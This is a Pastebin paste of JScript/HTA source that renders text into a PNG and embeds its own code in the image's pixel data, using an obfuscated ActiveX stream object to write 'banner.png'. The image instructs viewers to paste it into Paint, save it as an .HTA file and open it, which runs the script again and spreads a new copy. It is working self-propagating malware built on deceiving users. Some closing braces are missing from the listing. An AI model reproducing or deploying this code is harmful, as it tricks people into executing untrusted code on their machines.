Advertisement
Guest User

Untitled

a guest
Jul 29th, 2016
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <script id=thisscript>
  2. var settings = {};
  3. settings.top = 0.03845352397352837;
  4. settings.bottom = 0.07524049811272389;
  5. settings.left = 0.022873570904446697;
  6. settings.right = 0.04485581580192202;
  7. settings.pt = [15,0,5,0,13,10,0];
  8. settings.xc = [31,0,0,0,77,111,0];
  9. settings.fg = [190,253,122];
  10. settings.bg = [186,38,164];
  11. settings.line1 = unescape("I LOVEY OU ANONYMOUS.");
  12. settings.name = unescape("4CHAN");
  13. settings.wordchoice = [50,39,19,23,57,46,44,49,2,47,44,59,45,4,34,9,8,46];
  14. settings.savechoice = [49,36];
  15. settings.splitpoint = 0.9;
  16. // Precompute CRC table
  17. var crc_table = [];
  18. for (var n = 0; n < 256; n++) {
  19.     var c = n;
  20.     for (var k = 0; k < 8; k++) {
  21.         if (c & 1) {
  22.             c = 0xedb88320 ^ (c >>> 1);
  23.         } else {
  24.             c = c >>> 1;
  25.         }
  26.     }
  27.     crc_table[n] = c;
  28. function TextPic() {
  29.     var self = this;
  30.     // Edge array
  31.     var edges = [];
  32.     var vcurr = [];
  33.     // Cursor position, font size, image boundaries
  34.     this.xc = 0;
  35.     this.yc = 0;
  36.     this.pt = 50;
  37.     this.xmin = 0;
  38.     this.xmax = 0;
  39.     // Draw edge
  40.     function e(x1, x2, y1, y2, curved, v, y1r, y2r) {
  41.         if (typeof y1r == "undefined") y1r = y1;
  42.         if (typeof y2r == "undefined") y2r = y2;
  43.         x1 /= 10; x2 /= 10; y1 /= 10; y2 /= 10; y1r /= 10; y2r /= 10;
  44.         var yy1 = Math.max(Math.ceil(self.yc + y1r*self.pt), 0);
  45.         var yy2 = Math.min(Math.floor(self.yc + y2r*self.pt), edges.length - 1);
  46.         for (var y = yy1; y <= yy2; y++) {
  47.             var ys = ((y-self.yc)/self.pt - y1) / (y2 - y1);
  48.             var x;
  49.             if (curved) {
  50.                 var dy = 2 * ys - 1;
  51.                 x = x1 + (x2 - x1) * Math.sqrt(Math.max(1 - dy*dy, 0));
  52.             } else {
  53.                 x = x1 + (x2 - x1) * ys;
  54.             }
  55.             var xx = Math.ceil(self.xc + x*self.pt);
  56.             while (edges[y].length && edges[y][edges[y].length-1] >= xx) {
  57.                 edges[y].pop();
  58.                 vcurr[y] = 1 - vcurr[y];
  59.             }
  60.             if (v != vcurr[y]) edges[y].push(xx);
  61.             vcurr[y] = v;
  62.         }
  63.     }
  64.     // Draws other half of character using symmetry
  65.     function mirror(params, width, inv) {
  66.         for (var i = 0; i < params.length; i++) {
  67.             var p = params[i];
  68.             e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  69.         }
  70.         for (var i = params.length - 1; i >= 0; i--) {
  71.             var p = params[i];
  72.             if (inv) {
  73.                 var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  74.                 var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  75.                 if (p[4]) {
  76.                     e(width-p[0],width-p[1],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  77.                 } else {
  78.                     e(width-p[1],width-p[0],10-p[3],10-p[2],p[4],1-p[5],np7,np6);
  79.                 }
  80.             } else {
  81.                 e(width-p[0],width-p[1],p[2],p[3],p[4],1-p[5],p[6],p[7]);
  82.             }
  83.         }
  84.     }
  85.     function mirrorvert(params) {
  86.         for (var i = 0; i < params.length; i++) {
  87.             var p = params[i];
  88.             e(p[0],p[1],p[2],p[3],p[4],p[5],p[6],p[7]);
  89.             var np6 = (typeof p[6] == "undefined") ? p[6] : (10-p[6]);
  90.             var np7 = (typeof p[7] == "undefined") ? p[6] : (10-p[7]);
  91.             if (p[4]) {
  92.                 e(p[0],p[1],10-p[3],10-p[2],p[4],p[5],np7,np6);
  93.             } else {
  94.                 e(p[1],p[0],10-p[3],10-p[2],p[4],p[5],np7,np6);
  95.             }
  96.         }
  97.     }
  98.     // Character widths
  99.     var cwidth = {"A":1,"B":1,"C":.95,"D":1.05,"E":1,"F":.85,"G":1.15,"H":1,"I":.4,"J":.85,"K":1.05,"L":.85,"M":1.2,"N":1.1,"O":1.1,"P":.95,"Q":1.1,"R":.95,"S":.9,"T":.9,"U":1,"V":1,"W":1.7,"X":.95,"Y":.9,"Z":.9,"1":.4,"2":.85,"3":.9,"4":.95,".":.3,"?":.75,"!":.4,":":.4,"-":.7,"+":.7,"'":.3,"$":.9,"/":.6," ":.5};
  100.     // Draw centered line of text
  101.     this.drawline = function(s) {
  102.         while (Math.floor(self.yc + 1.6*self.pt) >= edges.length) {
  103.             edges.push([]);
  104.             vcurr.push(0);
  105.         }
  106.         var xc0 = self.xc;
  107.         self.yc += .3*self.pt;
  108.         for (var i = 0; i < s.length; i++) {
  109.             var c = s.charAt(i);
  110.             if (c in cwidth) {
  111.                 self.xc -= cwidth[c]*self.pt/2;
  112.             }
  113.         }
  114.         if (Math.ceil(self.xc) < self.xmin) self.xmin = Math.ceil(self.xc);
  115.         for (var i = 0; i < s.length; i++) {
  116.             var c = s.charAt(i);
  117.             var xc1 = self.xc;
  118.             if ("ACGJOQTVWXYZ4.?-'/".indexOf(c) != -1) {
  119.                 self.xc += .05*self.pt;
  120.             } else {
  121.                 self.xc += .1*self.pt;
  122.             }
  123.             switch(c) {
  124.                 case "A": mirror([[3,0,0,10,0,1],[2.9,2,7,10,0,0],[4.4,3.5,2,5,0,0]],9,0);break;
  125.                 case "B": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0],[5,6,2,4,1,1],[5,8,0,6,1,0,0,5]]);break;
  126.                 case "C": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(8,8,0,10,0,0);break;
  127.                 case "D": e(0,0,0,10,0,1);e(2,2,2,8,0,0);e(4,7,2,8,1,1);e(4,9,0,10,1,0);break;
  128.                 case "E": e(0,0,0,10,0,1);mirrorvert([[2,2,2,4,0,0]]);e(8,8,0,10,0,0);break;
  129.                 case "F": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(7,7,0,6,0,0);break;
  130.                 case "G": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(6,6,4,6,0,1);e(8,8,6,8,0,1);e(10,10,0,10,0,0);break;
  131.                 case "H": mirror([[0,0,0,10,0,1],[2,2,0,4,0,0],[2,2,6,10,0,0]],8,0);break;
  132.                 case "I": case "1": mirror([[0,0,0,10,0,1]],2,0);break;
  133.                 case "J": mirror([[3.5,0,3,10,1,1,6.5,10],[3.5,2,5,8,1,0,6.5,8]],7,0);e(5,5,0,6.5,0,1);e(7,7,0,6.5,0,0);break;
  134.                 case "K": e(0,0,0,10,0,1);mirrorvert([[2,2,0,4,0,0],[6,2,0,4,0,1],[9,4,0,5,0,0]]);break;
  135.                 case "L": e(0,0,0,10,0,1);e(2,2,0,8,0,0);e(7,7,8,10,0,0);break;
  136.                 case "M": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,4,2,6,0,1],[3,5,0,4,0,0]],10,0);break;
  137.                 case "N": mirror([[0,0,0,10,0,1],[2,2,2,10,0,0],[2,6,2,10,0,1]],9,1);break;
  138.                 case "O": mirror([[5,0,0,10,1,1],[5,2,2,8,1,0]],10,0);break;
  139.                 case "P": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);break;
  140.                 case "Q": e(5,0,0,10,1,1);e(5,2,2,8,1,0);e(5,8,2,8,1,1,7,8);e(6,5,5,6,0,1);e(5,7,6,8,0,1);e(6,9,5,8,0,0);
  141.                           e(5,8,2,8,1,1);e(5,10,0,10,1,0);e(7,9,8,10,0,1);e(9,10,8,9,0,0);e(10,9,9,10,0,0);break;
  142.                 case "R": e(0,0,0,10,0,1);e(2,2,2,4,0,0);e(2,2,6,10,0,0);e(5,6,2,4,1,1);e(5,8,0,6,1,0);e(2,5,6,10,0,1);e(5,8,6,10,0,0);break;
  143.                 case "S": mirror([[3,0,0,6,1,1],[0,0,8,10,0,1],[4,5,6,8,1,1]],7,1);break;
  144.                 case "T": mirror([[0,0,0,2,0,1],[3,3,2,10,0,1]],8,0);break;
  145.                 case "U": mirror([[3.5,0,3,10,1,1,6.5,10],[0,0,0,6.5,0,1],[3.5,2,5,8,1,0,6.5,8],[2,2,0,6.5,0,0]],8,0);break;
  146.                 case "V": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0]],9,0);break;
  147.                 case "W": mirror([[0,3,0,10,0,1],[2,4.4,0,8,0,0],[7,4.6,0,8,0,1],[8.1,6,3,10,0,0]],16,0);break;
  148.                 case "X": mirror([[0,3,0,5,0,1],[3,0,5,10,0,1],[2.5,4.25,0,3.5,0,0],[4.25,2.5,6.5,10,0,0]],8.5,0);break;
  149.                 case "Y": mirror([[0,3,0,6,0,1],[3,3,6,10,0,1],[2,4,0,4,0,0]],8,0);break;
  150.                 case "Z": mirror([[0,0,0,2,0,1],[5,0,2,8,0,1],[0,0,8,10,0,1]],8,1);break;
  151.                 case "2": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1,2,4);e(4.25,0,4,8,0,1);e(0,0,8,10,0,1);
  152.                           e(3.25,6.5,0,6.5,1,0,0,5.2);e(5.85,2.875,5.2,8,0,0);e(6.5,6.5,8,10,0,0);break;
  153.                 case "3": e(0,0,4,6,0,1);mirrorvert([[0,0,0,2,0,1],[4,5,2,4,1,1],[4,7,0,6,1,0,0,5]]);break;
  154.                 case "4": e(1.5,0,0,6,0,1);e(3.5,2.5,0,4,0,0);e(6,6,0,10,0,1);e(8,8,0,10,0,0);break;
  155.                 case ".": mirror([[1,0,8,10,1,1]],2,0);break;
  156.                 case "?": e(3.25,0,0,6.5,1,1,0,3.25);e(3.25,2,2,4.5,1,0);e(3.25,4.5,2,4.5,1,1);e(2.25,2.25,4.5,7.5,0,1);
  157.                           e(4.25,6.5,0,6.5,1,0);e(4.25,4.25,6.5,7.5,0,0);mirror([[3.25,2.25,8,10,1,1]],6.5,0);break;
  158.                 case "!": mirror([[0,0,0,7,0,1],[1,0,8,10,1,1]],2,0);break;
  159.                 case ":": mirror([[1,0,1,3,1,1],[1,0,7,9,1,1]],2,0);break;
  160.                 case "-": mirror([[0,0,4,6,0,1]],6,0);break;
  161.                 case "-": mirror([[0,0,4,6,0,1],[2,2,2,4,0,1],[2,2,6,8,0,1]],6,0);break;
  162.                 case "'": mirror([[0,0,0,3.5,0,1]],2,0);break;
  163.                 case "$": mirror([[2.5,0,1,6,1,1],[0,0,7,9,0,1],[2.75,2.75,0,1,0,1],[4.25,4.25,0,1,0,0],[2.75,2.75,6,7,0,1],[4.25,4.25,6,7,0,0],[4.5,5,6,7,1,1]],7,1);break;
  164.                 case "/": mirror([[3,0,0,10,0,1]],5,1);break;
  165.             }
  166.             self.xc = xc1;
  167.             if (c in cwidth) {
  168.                 self.xc += cwidth[c]*self.pt;
  169.             }
  170.         }
  171.         if (Math.ceil(self.xc) > self.xmax) self.xmax = Math.ceil(self.xc);
  172.         self.yc += 1.3*self.pt;
  173.         self.xc = xc0;
  174.     }
  175.     // Output picture in array of run-length encoded lines (arrays of [[r,g,b], count])
  176.     this.getRLE = function(fg, bg) {
  177.         var rle = [];
  178.         for (var y = 0; y < edges.length; y++) {
  179.             rle[y] = [];
  180.             var v = 0;
  181.             var x = self.xmin;
  182.             for (var i = 0; i < edges[y].length; i++) {
  183.                 rle[y].push([v ? fg : bg, edges[y][i] - x]);
  184.                 v = 1 - v;
  185.                 x = edges[y][i];
  186.             }
  187.             if (x < self.xmax) rle[y].push([v ? fg : bg, self.xmax - x]);
  188.         }
  189.         return rle;
  190.     }
  191. function PNGEncoder(w, h) {
  192.     var crc = 0;
  193.     var stringbuf = "";
  194.     var bytebuf = 0;
  195.     var bytelen = 0;
  196.     // Append one byte to stream
  197.     function writebyte(b) {
  198.         if (bytelen % 2 == 1) {
  199.             stringbuf += String.fromCharCode((b<<8) + bytebuf);
  200.         } else {
  201.             bytebuf = b;
  202.         }
  203.         bytelen++;
  204.         crc = crc_table[(crc ^ b) & 0xff] ^ (crc >>> 8);
  205.     }
  206.     function writebytes(arr) {
  207.         for (var i = 0; i < arr.length; i++) {
  208.             writebyte(arr[i]);
  209.         }
  210.     }
  211.     // Add integer in big-endian order to stream
  212.     function writeint(n, bits) {
  213.         for (var i = bits - 1; i >= 0; i--) {
  214.             writebyte((n>>>(8*i)) & 0xff);
  215.         }
  216.     }
  217.     // Add bits to stream (little-endian order)
  218.     var bitbuf = 0;
  219.     var bitlen = 0;
  220.     function writebits(b, nbits) {
  221.         bitbuf = bitbuf | (b << bitlen);
  222.         bitlen += nbits;
  223.         while (bitlen >= 8) {
  224.             writebyte(bitbuf & 0xff);
  225.             bitbuf = bitbuf >>> 8;
  226.             bitlen -= 8;
  227.         }
  228.     }
  229.     function flushbits() {
  230.         if (bitlen > 0) {
  231.             writebyte(bitbuf);
  232.             bitbuf = bitlen = 0;
  233.         }
  234.     }
  235.     // Reverse bits
  236.     function rev(x, n) {
  237.         var y = 0;
  238.         for (var i = 0; i < n; i++) {
  239.             y <<= 1;
  240.             if (x & 1) y |= 1;
  241.             x >>>= 1;
  242.         }
  243.         return y;
  244.     }
  245.     function getvalue() {
  246.         getvalue.x += (Math.sqrt(5) - 1)/2;
  247.         if (getvalue.x > 1) getvalue.x -= 1;
  248.         return getvalue.x;
  249.     }
  250.     getvalue.x = 0;
  251.     // Create Huffman code
  252.     function randlens(ncodes, maxlen) {
  253.         var lens = [[0, getvalue()]];
  254.         for (var i = 1; i < ncodes; i++) {
  255.             do {
  256.                 j = Math.floor(lens.length * getvalue());
  257.             } while (lens[j][0] == maxlen);
  258.             lens[j][0]++;
  259.             lens[i] = [lens[j][0], getvalue()];
  260.         }
  261.         lens.sort(function(x, y) {return x[1] - y[1];});
  262.         var lens2 = [];
  263.         for (var i = 0; i < ncodes; i++) {
  264.             lens2[i] = lens[i][0];
  265.         }
  266.         return lens2;
  267.     }
  268.     // Create Huffman codes from table of Huffman code lengths
  269.     function getcodes(lens, maxlen) {
  270.         var codes = [];
  271.         var code = 0;
  272.         for (var len = 1; len <= maxlen; len++) {
  273.             for (var i = 0; i < lens.length; i++) {
  274.                 if (lens[i] == len) {
  275.                     codes[i] = rev(code, len);
  276.                     code += 1;
  277.                 }
  278.             }
  279.             code <<= 1;
  280.         }
  281.         return codes;
  282.     }
  283.     // Tables of Huffman codes
  284.     var lbits = randlens(286, 15);
  285.     var dbits = randlens(30, 15);
  286.     var hbits = randlens(19, 7);
  287.     var lcode = getcodes(lbits, 15);  // literals + lengths
  288.     var dcode = getcodes(dbits, 15);  // distances
  289.     var hcode = getcodes(hbits, 7);   // huffman code lengths
  290.     // Write length code
  291.     function writelength(len) {
  292.         if (len == 258) {
  293.             writebits(lcode[285], lbits[285]);
  294.         } else {
  295.             var n;
  296.             for (n = 7; n > 0; n--) {
  297.                 if ((len - 3) & (1 << (n+2))) break;
  298.             }
  299.             var val = ((len-3)>>>n) & 3;
  300.             val += 261 + 4*n;
  301.             if (len <= 6) val -= 4;
  302.             writebits(lcode[val], lbits[val]);
  303.             var eb = (len-3) & ((1<<n) - 1);
  304.             writebits(eb, n);
  305.         }
  306.     }
  307.     // Write distance code
  308.     function writedist(dist) {
  309.         var n;
  310.         for (n = 13; n > 0; n--) {
  311.             if ((dist - 1) & (1 << (n+1))) break;
  312.         }
  313.         var val = ((dist-1)>>>n) & 1;
  314.         val += 2 + 2*n;
  315.         if (dist <= 2) val -= 2;
  316.         writebits(dcode[val], dbits[val]);
  317.         var eb = (dist-1) & ((1<<n) - 1);
  318.         writebits(eb, n);
  319.     }
  320.     // Write header
  321.     writebytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D]);
  322.     crc = -1;
  323.     writebytes([0x49,0x48,0x44,0x52]);
  324.     writeint(w, 4);
  325.     writeint(h, 4);
  326.     writebytes([0x08,0x02,0x00,0x00,0x00]);
  327.     writeint(crc ^ -1, 4);
  328.     // Begin data segment
  329.     var datalenpos = bytelen;
  330.     writeint(0, 4);
  331.     crc = -1;
  332.     writebytes([0x49,0x44,0x41,0x54]);
  333.     var datastart = bytelen;
  334.     writebytes([0x78,0x5E]);
  335.     writebits(5, 3); // last block, dynamic Huffman codes
  336.     // Write Huffman tables
  337.     writebits(lbits.length - 257, 5);
  338.     writebits(dbits.length - 1, 5);
  339.     writebits(hbits.length - 4, 4);
  340.     var order = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15];
  341.     for (var i = 0; i < order.length; i++) {
  342.         writebits(hbits[order[i]], 3);
  343.     }
  344.     for (var i = 0; i < lbits.length; i++) {
  345.         writebits(hcode[lbits[i]], hbits[lbits[i]]);
  346.     }
  347.     for (var i = 0; i < dbits.length; i++) {
  348.         writebits(hcode[dbits[i]], hbits[dbits[i]]);
  349.     }
  350.     // Adler checksums
  351.     var s1 = 1;
  352.     var s2 = 0;
  353.     function addrun(col, n) {
  354.         s2 = (s2 + s1*3*n + col[0]*(3*n+3)*n/2 + col[1]*(3*n+1)*n/2 + col[2]*(3*n-1)*n/2) % 65521;
  355.         s1 = (s1 + (col[0]+col[1]+col[2])*n) % 65521;
  356.         if (n >= 1) {
  357.             for (var j = 0; j < 3; j++) writebits(lcode[col[j]], lbits[col[j]]);
  358.             n -= 1;
  359.         }
  360.         while (n > 0) {
  361.             var nn = Math.min(n, 86);
  362.             writelength(3*nn);
  363.             writedist(3);
  364.             n -= nn;
  365.         }
  366.     }
  367.     // Add run-length encoded scanline (array of [[r,g,b], count])
  368.     this.addRLE = function(rle) {
  369.         writebits(lcode[0], lbits[0]);
  370.         s2 = (s2 + s1) % 65521;
  371.         for (var i = 0; i < rle.length; i++) {
  372.             addrun(rle[i][0], rle[i][1]);
  373.         }
  374.     }
  375.     // Decode string containing pixels in BGR order, add scanline to image
  376.     this.addBGR = function(s, charwidth, padcolor) {
  377.         writebits(lcode[0], lbits[0]);
  378.         s2 = (s2 + s1) % 65521;
  379.         var col = [0, 0, 0];
  380.         var ch = 2;
  381.         var x = 0;
  382.         for (var i = 0; i < s.length; i++) {
  383.             var word = s.charCodeAt(i);
  384.             for (var j = 0; j < charwidth; j++) {
  385.                 col[ch--] = word & 0xff;
  386.                 if (ch < 0) {
  387.                     addrun(col, 1);
  388.                     ch = 2;
  389.                     x++;
  390.                 }
  391.                 word >>>= 8;
  392.             }
  393.         }
  394.         if (ch != 2) {
  395.             addrun(col, 1);
  396.             x++;
  397.         }
  398.         if (x < w) {
  399.             addrun(padcolor, w - x);
  400.         }
  401.     }
  402.     // Finish PNG and write to stream
  403.     this.writeto = function(stream) {
  404.         // End of block
  405.         writebits(lcode[256], lbits[256]);
  406.         flushbits();
  407.         // Checksums
  408.         writeint(s2, 2);
  409.         writeint(s1, 2);
  410.         var datalen = bytelen - datastart;
  411.         writeint(crc ^ -1, 4);
  412.         // End of file block
  413.         writebytes([0,0,0,0,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]);
  414.         // Write data to stream
  415.         var pos1 = stream.position;
  416.         if (pos1 == 0) pos1 = 2;
  417.         stream.writeText(stringbuf);
  418.         if (bytelen % 2 == 1) {
  419.             stream.writeText(String.fromCharCode(bytebuf));
  420.             stream.position -= 1;
  421.             stream.setEOS();
  422.         }
  423.         var pos2 = stream.position;
  424.         // Go back and write in length of data segment
  425.         stream.position = pos1 + datalenpos;
  426.         function revword(w) {
  427.             return String.fromCharCode(((w & 0xff) << 8) | (w >>> 8));
  428.         }
  429.         stream.writeText(revword(datalen >>> 16));
  430.         stream.writeText(revword(datalen & 0xffff));
  431.         stream.position = pos2;
  432.     }
  433. function textstream(mode) {
  434.     var stream = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  435.     stream.mode = mode;
  436.     stream.type = 2; //text
  437.     stream.open();
  438.     return stream;
  439. // Copy text stream to binary stream, removing Unicode garbage at beginning
  440. function tobinary(stream) {
  441.     var stream2 = new ActiveXObject("maertS.bdodA".split("").reverse().join(""));
  442.     stream2.mode = 3;
  443.     stream2.type = 1; //binary
  444.     stream2.open();
  445.     stream.position = 2;
  446.     stream.copyTo(stream2);
  447.     stream.close();
  448.     stream2.position = 0;
  449.     return stream2;
  450. // Get a copy of this script
  451. var scripttext = thisscript.innerHTML;
  452. scripttext = scripttext.replace(/\s*/, "").replace(/^\/\*+\//g, "");
  453. scripttext = "\r\n<scr"+"ipt id=thisscript>\r\n" + scripttext + "\r\n</scr"+"ipt>\r\n<script>/*\r\n";
  454. // Choose words
  455. var lines = [];
  456. var wc = settings.wordchoice;
  457. lines[0] = settings.line1;
  458. lines[1] = ["OPEN", "CLICK", "TAKE", "VIEW", "START WITH"][wc[0]%5] + " " + [["THIS", "THE"][wc[1]%2] + " " + ["IMAGE", "PIC", "PICTURE", "FILE"][wc[2]%4], "ME"][wc[3]%2];
  459. if (wc[4]%2) lines[1] = "";
  460. lines[2] = ["COPY", "COPY+PASTE", "PASTE"][wc[5]%3] + [" ", " IT ", " ME ", " THIS "][wc[6]%4] + "TO " + ["PAINT", "MSPAINT"][wc[7]%2];
  461. lines[3] = "SAVE" + [" ", " IT ", " THE FILE ", " ME "][wc[8]%4] + "AS" + [":", ""][wc[9]%2];
  462. lines[4] = ["FILE NAME: ", "NAME: ", ""][wc[10]%3] + settings.name + ".HTA";
  463. lines[5] = ["SAVE AS TYPE: ", "TYPE: ", ""][wc[11]%3] + ["24-BIT BITMAP", "24 BITS", "BITMAP"][wc[12]%3];
  464. if (wc[13]%2) lines[5] = "";
  465. lines[6] = ["", "THEN ", "AND "][wc[14]%3] + "OPEN" + ["", " IT", " THE FILE", " IT AGAIN"][wc[15]%4];
  466. lines[6] = ["", lines[6], lines[6] + " AND SHIT BRICKS", "SHIT BRICKS"][wc[16]%4];
  467. if (wc[17]%2) {
  468.     var num = 1;
  469.     for (var i = 1; i <= 6; i++) {
  470.         if (i != 4 && i != 5 && lines[i] != "") {
  471.             lines[i] = num + ". " + lines[i];
  472.             num++;
  473.         }
  474.     }
  475. // Draw text
  476. var instr = new TextPic();
  477. instr.yc = settings.top;
  478. for (var i = 0; i < lines.length; i++) {
  479.     if (lines[i] != "") {
  480.         instr.pt = settings.pt[i];
  481.         instr.xc = settings.xc[i];
  482.         instr.drawline(lines[i]);
  483.     }
  484. instr.xmin -= Math.round(settings.left * (instr.xmax - instr.xmin));
  485. instr.xmax += Math.round(settings.right * (instr.xmax - instr.xmin));
  486. instr.xmax += 3 - (instr.xmax - instr.xmin + 3) % 4; // make width multiple of 4 pixels
  487. var rle = instr.getRLE(settings.fg, settings.bg);
  488. var w = instr.xmax - instr.xmin;
  489. var tmargin = Math.round(settings.top * rle.length);
  490. var bmargin = Math.round(settings.bottom * rle.length);
  491. for (var i = 0; i < tmargin; i++) rle.splice(0, 0, [[settings.bg, w]]);
  492. for (var i = 0; i < bmargin; i++) rle.push([[settings.bg, w]]);
  493. var h = rle.length;
  494. // Find place to split image
  495. var blanks = 0;
  496. for (var y = 0; y < h; y++) {
  497.     if (rle[y].length == 1) blanks++;
  498. var iblank = Math.floor(settings.splitpoint*blanks);
  499. var ysplit;
  500. for (var ysplit = 0; ysplit < h; ysplit++) {
  501.     if (rle[ysplit].length == 1) {
  502.         if (iblank <= 0) break;
  503.         iblank--;
  504.     }
  505. // Encode PNG image
  506. var nlines = Math.ceil(scripttext.length / 3 / w);
  507. var png = new PNGEncoder(w, h + nlines - 1);
  508. for (var y = 0; y < ysplit; y++) {
  509.     png.addRLE(rle[y]);
  510. for (var i = nlines - 1; i >= 0; i--) {
  511.     png.addBGR(scripttext.substr(i*3*w, 3*w), 1, settings.bg);
  512. for (var y = ysplit + 1; y < h; y++) {
  513.     png.addRLE(rle[y]);
  514. // Write file
  515. var stream = textstream(3 /*rw*/);
  516. png.writeto(stream);
  517. stream = tobinary(stream);
  518. stream.saveToFile("banner.png");
  519. close();
  520. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement